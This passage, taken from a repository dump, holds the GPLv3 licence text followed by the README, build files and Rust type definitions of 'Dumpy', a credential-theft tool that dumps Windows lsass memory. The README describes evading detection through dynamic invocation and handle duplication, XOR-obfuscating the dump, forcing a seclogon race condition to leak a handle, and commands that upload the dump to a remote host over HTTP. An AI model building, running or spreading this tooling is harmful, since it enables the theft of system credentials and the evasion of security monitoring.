+ 4. Conveying Verbatim Copies.
+
+ You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+ You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+ 5. Conveying Modified Source Versions.
+
+ You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+ a) The work must carry prominent notices stating that you modified
+ it, and giving a relevant date.
+
+ b) The work must carry prominent notices stating that it is
+ released under this License and any conditions added under section
+ 7. This requirement modifies the requirement in section 4 to
+ "keep intact all notices".
+
+ c) You must license the entire work, as a whole, under this
+ License to anyone who comes into possession of a copy. This
+ License will therefore apply, along with any applicable section 7
+ additional terms, to the whole of the work, and all its parts,
+ regardless of how they are packaged. This License gives no
+ permission to license the work in any other way, but it does not
+ invalidate such permission if you have separately received it.
+
+ d) If the work has interactive user interfaces, each must display
+ Appropriate Legal Notices; however, if the Program has interactive
+ interfaces that do not display Appropriate Legal Notices, your
+ work need not make them do so.
+
+ A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit. Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+ 6. Conveying Non-Source Forms.
+
+ You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+ a) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by the
+ Corresponding Source fixed on a durable physical medium
+ customarily used for software interchange.
+
+ b) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by a
+ written offer, valid for at least three years and valid for as
+ long as you offer spare parts or customer support for that product
+ model, to give anyone who possesses the object code either (1) a
+ copy of the Corresponding Source for all the software in the
+ product that is covered by this License, on a durable physical
+ medium customarily used for software interchange, for a price no
+ more than your reasonable cost of physically performing this
+ conveying of source, or (2) access to copy the
+ Corresponding Source from a network server at no charge.
+
+ c) Convey individual copies of the object code with a copy of the
+ written offer to provide the Corresponding Source. This
+ alternative is allowed only occasionally and noncommercially, and
+ only if you received the object code with such an offer, in accord
+ with subsection 6b.
+
+ d) Convey the object code by offering access from a designated
+ place (gratis or for a charge), and offer equivalent access to the
+ Corresponding Source in the same way through the same place at no
+ further charge. You need not require recipients to copy the
+ Corresponding Source along with the object code. If the place to
+ copy the object code is a network server, the Corresponding Source
+ may be on a different server (operated by you or a third party)
+ that supports equivalent copying facilities, provided you maintain
+ clear directions next to the object code saying where to find the
+ Corresponding Source. Regardless of what server hosts the
+ Corresponding Source, you remain obligated to ensure that it is
+ available for as long as needed to satisfy these requirements.
+
+ e) Convey the object code using peer-to-peer transmission, provided
+ you inform other peers where the object code and Corresponding
+ Source of the work are being offered to the general public at no
+ charge under subsection 6d.
+
+ A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+ A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling. In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage. For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product. A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+ "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source. The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+ If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information. But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+ The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed. Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+ Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+ 7. Additional Terms.
+
+ "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law. If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+ When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it. (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.) You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+ Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+ a) Disclaiming warranty or limiting liability differently from the
+ terms of sections 15 and 16 of this License; or
+
+ b) Requiring preservation of specified reasonable legal notices or
+ author attributions in that material or in the Appropriate Legal
+ Notices displayed by works containing it; or
+
+ c) Prohibiting misrepresentation of the origin of that material, or
+ requiring that modified versions of such material be marked in
+ reasonable ways as different from the original version; or
+
+ d) Limiting the use for publicity purposes of names of licensors or
+ authors of the material; or
+
+ e) Declining to grant rights under trademark law for use of some
+ trade names, trademarks, or service marks; or
+
+ f) Requiring indemnification of licensors and authors of that
+ material by anyone who conveys the material (or modified versions of
+ it) with contractual assumptions of liability to the recipient, for
+ any liability that these contractual assumptions directly impose on
+ those licensors and authors.
+
+ All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10. If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term. If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+ If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+ Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+ 8. Termination.
+
+ You may not propagate or modify a covered work except as expressly
+provided under this License. Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+ However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+ Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+ Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License. If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+ 9. Acceptance Not Required for Having Copies.
+
+ You are not required to accept this License in order to receive or
+run a copy of the Program. Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance. However,
+nothing other than this License grants you permission to propagate or
+modify any covered work. These actions infringe copyright if you do
+not accept this License. Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+ 10. Automatic Licensing of Downstream Recipients.
+
+ Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License. You are not responsible
+for enforcing compliance by third parties with this License.
+
+ An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations. If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+ You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License. For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+ 11. Patents.
+
+ A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based. The
+work thus licensed is called the contributor's "contributor version".
+
+ A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version. For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+ Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+ In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement). To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+ If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients. "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+ If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+ A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License. You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+ Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+ 12. No Surrender of Others' Freedom.
+
+ If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License. If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all. For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+ 13. Use with the GNU Affero General Public License.
+
+ Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work. The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+ 14. Revised Versions of this License.
+
+ The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+ Each version is given a distinguishing version number. If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation. If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+ If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+ Later license versions may give you additional or different
+permissions. However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+ 15. Disclaimer of Warranty.
+
+ THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+ 16. Limitation of Liability.
+
+ IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+ If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+ END OF TERMS AND CONDITIONS
+
+ How to Apply These Terms to Your New Programs
+
+ If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+ To do so, attach the following notices to the program. It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+
+ Copyright (C)
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+
+Also add information on how to contact you by electronic and paper mail.
+
+ If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+ Copyright (C)
+ This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+ This is free software, and you are welcome to redistribute it
+ under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+ You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+.
+
+ The GNU General Public License does not permit incorporating your program
+into proprietary programs. If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library. If this is what you want to do, use the GNU Lesser General
+Public License instead of this License. But first, please read
+.
+
+```
+
+`README.md`:
+
+```md
+# Description
+
+This tool dynamically calls MiniDumpWriteDump to dump lsass memory content. This process is done without opening a new process handle to lsass and using [DInvoke_rs](https://github.com/Kudaes/DInvoke_rs) to make it harder to detect its malicious behaviour. In order to obtain a valid process handle without calling OpenProcess over lsass, all process handles in the system are analyzed using NtQuerySystemInformation, NtDuplicateObject, NtQueryObject and QueryFullProcessImageNameW.
+
+NTFS Transaction are used in order to xor the memory dump before storing it on disk or sending it throught HTTP.
+
+**Support added for both x86 and x64**.
+
+# Compilation
+
+Just compile the code on `release` mode and execute it:
+
+ C:\Users\User\Desktop\Dumpy\dumpy> cargo build --release
+ C:\Users\User\Desktop\Dumpy\dumpy\target\x86_64-pc-windows-msvc\release> dumpy.exe -h
+
+In case that you want to compile the tool for a x86 system, modify the value of the option "target" in the file .cargo\config (e.g: target = "i686-pc-windows-msvc").
+
+# Usage
+
+ Usage: dumpy.exe --dump|--decrypt [options]
+
+ Options:
+ -h, --help Print this help menu.
+ --dump Dump lsass.
+ --decrypt Decrypt a previously generated dump file.
+ -f, --force Force seclogon's service to leak a lsass handle
+ through a race condition.
+ -k, --key Encryption key [default: 1234abcd]
+ -i, --input Encrypted dump file [default: c:\temp\input.txt]
+ -o, --output Destination path [default: c:\temp\output.txt]
+ -u, --upload Upload URL
+
+Dumpy has two main actions:
+
+- **dump**: It will execute the main logic to dump the lsass. By default, it will store the result in a xored text file with a random name in the current directory. The option **upload** allows to send the memory content over HTTP to a remote host, avoiding the creation of the xored file on disk. I've used [this simple HTTP server](https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c) in order to handle the upload, but any other HTTP server that supports **multipart/form-data requests** will work.
+
+ C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload
+
+If you want to force the leakage of a handle to the lsass through the race condition in seclogon's service described by [Antonio Cocomazzi](https://twitter.com/splinter_code) in [this post](https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html), just use the option **force**:
+
+ C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload --force
+
+- **decrypt**: This action allows to obtain the decrypted memory dump in the same format that tools like Mimikatz would expect. As arguments it expects the xored memory dump, the encryption key and the output file path. In case the xored file has been uploaded using HTTP, **it is required to perform a base64 decoding of the content before this decryption process**.
+
+ C:\Temp> dumpy.exe --decrypt -i xored.txt -o decrypted.txt -k secretKey
+
+```
+
+`dumpy/Cargo.toml`:
+
+```toml
+[package]
+name = "dumpy"
+version = "0.2.0"
+edition = "2021"
+
+# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+[profile.dev.package.dumpy]
+opt-level = 2
+debug = 0
+
+[profile.dev]
+debug-assertions = false
+
+[profile.release]
+debug-assertions = false
+strip = true
+
+[dependencies]
+dumper = { path = "dumper"}
+litcrypt2 = "0.1.2"
+getopts = "0.2"
+
+[build-dependencies]
+static_vcruntime = "2.0"
+
+```
+
+`dumpy/bindings/Cargo.toml`:
+
+```toml
+[package]
+name = "bindings"
+version = "0.1.0"
+edition = "2021"
+
+# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+[profile.dev.package.bindings]
+opt-level = 2
+debug = 0
+
+[dependencies]
+windows = "0.19"
+
+[build-dependencies]
+windows = "0.19"
+```
+
+`dumpy/bindings/build.rs`:
+
+```rs
+fn main() {
+ windows::build!(
+ Windows::Win32::System::Diagnostics::Debug::{IMAGE_FILE_HEADER,IMAGE_OPTIONAL_HEADER32,IMAGE_SECTION_HEADER,
+ IMAGE_DATA_DIRECTORY,IMAGE_OPTIONAL_HEADER_MAGIC,IMAGE_SUBSYSTEM,MINIDUMP_EXCEPTION_INFORMATION,MINIDUMP_USER_STREAM_INFORMATION,
+ MINIDUMP_CALLBACK_INFORMATION},
+ Windows::Win32::System::Memory::{VIRTUAL_ALLOCATION_TYPE,PAGE_PROTECTION_FLAGS},
+ Windows::Win32::Foundation::{HANDLE,HINSTANCE,PSTR,BOOL},
+ Windows::Win32::System::Threading::{GetCurrentProcess,GetCurrentThread,PROCESS_BASIC_INFORMATION,STARTUPINFOW,PROCESS_INFORMATION},
+ Windows::Win32::System::SystemServices::{IMAGE_BASE_RELOCATION,IMAGE_IMPORT_DESCRIPTOR,IMAGE_THUNK_DATA32,IMAGE_THUNK_DATA64},
+ Windows::Win32::System::WindowsProgramming::{PUBLIC_OBJECT_TYPE_INFORMATION,OBJECT_ATTRIBUTES,CLIENT_ID},
+ Windows::Win32::Security::SECURITY_ATTRIBUTES,
+ Windows::Win32::System::WindowsProgramming::IO_STATUS_BLOCK
+ );
+}
+```
+
+`dumpy/bindings/src/lib.rs`:
+
+```rs
+windows::include_bindings!();
+```
+
+`dumpy/build.rs`:
+
+```rs
+fn main()
+{
+ static_vcruntime::metabuild();
+}
+```
+
+`dumpy/data/Cargo.toml`:
+
+```toml
+[package]
+name = "data"
+version = "0.1.0"
+edition = "2021"
+
+# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+[profile.dev.package.data]
+opt-level = 2
+debug = 0
+
+[dependencies]
+bindings = { path = "../bindings" }
+```
+
+`dumpy/data/src/lib.rs`:
+
+```rs
+use std::{collections::BTreeMap, ffi::c_void};
+use bindings::Windows::Win32::{Foundation::{BOOL, HANDLE, HINSTANCE, PSTR}, Security::SECURITY_ATTRIBUTES, System::{Diagnostics::Debug::{IMAGE_DATA_DIRECTORY, IMAGE_OPTIONAL_HEADER32, IMAGE_SECTION_HEADER, MINIDUMP_CALLBACK_INFORMATION, MINIDUMP_EXCEPTION_INFORMATION, MINIDUMP_USER_STREAM_INFORMATION}, WindowsProgramming::{CLIENT_ID, OBJECT_ATTRIBUTES, IO_STATUS_BLOCK}, Threading::{STARTUPINFOW, PROCESS_INFORMATION}}};
+
+pub type PVOID = *mut c_void;
+pub type DWORD = u32;
+pub type EAT = BTreeMap;
+pub type EntryPoint = extern "system" fn (HINSTANCE, u32, *mut c_void) -> BOOL;
+pub type SetHandleInformation = extern "system" fn (HANDLE, u32, u32) -> BOOL;
+pub type LoadLibraryA = unsafe extern "system" fn (PSTR) -> HINSTANCE;
+pub type GetLastError = unsafe extern "system" fn () -> u32;
+pub type OpenProcess = unsafe extern "system" fn (u32, i32, u32) -> HANDLE;
+pub type QueryFullProcessImageNameW = unsafe extern "system" fn (HANDLE, u32, *mut u16, *mut u32) -> i32;
+pub type MiniDumpWriteDump = unsafe extern "system" fn (HANDLE, u32, HANDLE, u32, *mut MINIDUMP_EXCEPTION_INFORMATION,
+ *mut MINIDUMP_USER_STREAM_INFORMATION, *mut MINIDUMP_CALLBACK_INFORMATION) -> i32;
+pub type DeviceIoControl = unsafe extern "system" fn (HANDLE, u32, PVOID, u32, PVOID, u32, *mut u32, *mut OVERLAPPED) -> BOOL;
+pub type CreateEvent = unsafe extern "system" fn (*const SECURITY_ATTRIBUTES, bool, bool, *const u16) -> HANDLE;
+pub type GetOverlappedResult = unsafe extern "system" fn (HANDLE, *mut OVERLAPPED, *mut u32, bool) -> BOOL;
+pub type CreateFile = unsafe extern "system" fn (*const u16, u32, u32, *const SECURITY_ATTRIBUTES, u32, u32, HANDLE) -> HANDLE;
+pub type CreateTransaction = unsafe extern "system" fn (*mut SECURITY_ATTRIBUTES, *mut GUID, u32, u32, u32, u32, *mut u16) -> HANDLE;
+pub type CreateFileTransactedA = unsafe extern "system" fn (*mut u8, u32, u32, *const SECURITY_ATTRIBUTES, u32, u32, HANDLE,
+ HANDLE, *const u32, PVOID) -> HANDLE;
+pub type RollbackTransaction = unsafe extern "system" fn (HANDLE) -> BOOL;
+pub type GetFileSize = unsafe extern "system" fn (HANDLE, *mut u32) -> u32;
+pub type CreateFileMapping = unsafe extern "system" fn (HANDLE, *const SECURITY_ATTRIBUTES, u32, u32, u32, *mut u8) -> HANDLE;
+pub type MapViewOfFile = unsafe extern "system" fn (HANDLE, u32, u32, u32, usize) -> PVOID;
+pub type UnmapViewOfFile = unsafe extern "system" fn (PVOID) -> BOOL;
+pub type CloseHandle = unsafe extern "system" fn (HANDLE) -> i32;
+pub type CreateProcessWithLogon = unsafe extern "system" fn (*const u16, *const u16, *const u16, u32, *const u16, *mut u16, u32, *const c_void, *const u16, *const STARTUPINFOW, *mut PROCESS_INFORMATION) -> BOOL;
+pub type LdrGetProcedureAddress = unsafe extern "system" fn (PVOID, *mut String, u32, *mut PVOID) -> i32;
+pub type NtWriteVirtualMemory = unsafe extern "system" fn (HANDLE, PVOID, PVOID, usize, *mut usize) -> i32;
+pub type NtProtectVirtualMemory = unsafe extern "system" fn (HANDLE, *mut PVOID, *mut usize, u32, *mut u32) -> i32;
+pub type NtAllocateVirtualMemory = unsafe extern "system" fn (HANDLE, *mut PVOID, usize, *mut usize, u32, u32) -> i32;
+pub type NtQueryInformationProcess = unsafe extern "system" fn (HANDLE, u32, PVOID, u32, *mut u32) -> i32;
+pub type NtQueryInformationThread = unsafe extern "system" fn (HANDLE, u32, PVOID, u32, *mut u32) -> i32;
+pub type NtQuerySystemInformation = unsafe extern "system" fn (u32, PVOID, u32, *mut u32) -> i32;
+pub type NtQueryInformationFile = unsafe extern "system" fn (HANDLE, *mut IO_STATUS_BLOCK, PVOID, u32, u32) -> i32;
+pub type NtDuplicateObject = unsafe extern "system" fn (HANDLE, HANDLE, HANDLE, *mut HANDLE, u32, u32, u32) -> i32;
+pub type NtQueryObject = unsafe extern "system" fn (HANDLE, u32, PVOID, u32, *mut u32) -> i32;
+pub type NtOpenProcess = unsafe extern "system" fn (*mut HANDLE, u32, *mut OBJECT_ATTRIBUTES, *mut CLIENT_ID) -> i32;
+pub type RtlAdjustPrivilege = unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32;
+
+pub const DLL_PROCESS_DETACH: u32 = 0;
+pub const DLL_PROCESS_ATTACH: u32 = 1;
+pub const DLL_THREAD_ATTACH: u32 = 2;
+pub const DLL_THREAD_DETACH: u32 = 3;
+
+pub const PAGE_READONLY: u32 = 0x2;
+pub const PAGE_READWRITE: u32 = 0x4;
+pub const PAGE_EXECUTE_READWRITE: u32 = 0x40;
+pub const PAGE_EXECUTE_READ: u32 = 0x20;
+pub const PAGE_EXECUTE: u32 = 0x10;
+
+pub const MEM_COMMIT: u32 = 0x1000;
+pub const MEM_RESERVE: u32 = 0x2000;
+
+pub const SECTION_MEM_READ: u32 = 0x40000000;
+pub const SECTION_MEM_WRITE: u32 = 0x80000000;
+pub const SECTION_MEM_EXECUTE: u32 = 0x20000000;
+
+pub const GENERIC_READ: u32 = 0x80000000;
+pub const GENERIC_WRITE: u32 = 0x40000000;
+pub const GENERIC_EXECUTE: u32 = 0x20000000;
+pub const GENERIC_ALL: u32 = 0x10000000;
+pub const THREAD_ALL_ACCESS: u32 = 0x000F0000 | 0x00100000 | 0xFFFF;
+
+
+#[derive(Clone)]
+#[repr(C)]
+pub struct PeMetadata {
+ pub pe: u32,
+ pub is_32_bit: bool,
+ pub image_file_header: IMAGE_FILE_HEADER,
+ pub opt_header_32: IMAGE_OPTIONAL_HEADER32,
+ pub opt_header_64: IMAGE_OPTIONAL_HEADER64,
+ pub sections: Vec
+}
+
+impl Default for PeMetadata {
+ fn default() -> PeMetadata {
+ PeMetadata {
+ pe: u32::default(),
+ is_32_bit: false,
+ image_file_header: IMAGE_FILE_HEADER::default(),
+ opt_header_32: IMAGE_OPTIONAL_HEADER32::default(),
+ opt_header_64: IMAGE_OPTIONAL_HEADER64::default(),
+ sections: Vec::default(),
+ }
+ }
+}
+
+#[repr(C)]
+#[derive(Copy, Clone, Default, PartialEq, Debug, Eq)]
+pub struct ApiSetNamespace {
+ pub unused: [u8;12],
+ pub count: i32, // offset 0x0C
+ pub entry_offset: i32, // offset 0x10
+}
+
+#[repr(C)]
+#[derive(Copy, Clone, Default, PartialEq, Debug, Eq)]
+pub struct ApiSetNamespaceEntry {
+ pub unused1: [u8;4],
+ pub name_offset: i32, // offset 0x04
+ pub name_length: i32, // offset 0x08
+ pub unused2: [u8;4],
+ pub value_offset: i32, // offset 0x10
+ pub value_length: i32, // offset 0x14
+}
+
+#[repr(C)]
+#[derive(Copy, Clone, Default, PartialEq, Debug, Eq)]
+pub struct ApiSetValueEntry {
+ pub flags: i32, // offset 0x00
+ pub name_offset: i32, // offset 0x04
+ pub name_count: i32, // offset 0x08
+ pub value_offset: i32, // offset 0x0C
+ pub value_count: i32, // offset 0x10
+}
+
+#[derive(Copy, Clone, Default, PartialEq, Debug, Eq)]
+#[repr(C)]
+pub struct IMAGE_FILE_HEADER {
+ pub machine: u16,
+ pub number_of_sections: u16,
+ pub time_data_stamp: u32,
+ pub pointer_to_symbol_table: u32,
+ pub number_of_symbols: u32,
+ pub size_of_optional_header: u16,
+ pub characteristics: u16,
+}
+
+#[derive(Copy, Clone,Default)]
+#[repr(C)] // required to keep fields order, otherwise Rust may change that order randomly
+pub struct IMAGE_OPTIONAL_HEADER64 {
+ pub magic: u16,
+ pub major_linker_version: u8,
+ pub minor_linker_version: u8,
+ pub size_of_code: u32,
+ pub size_of_initialized_data: u32,
+ pub size_of_unitialized_data: u32,
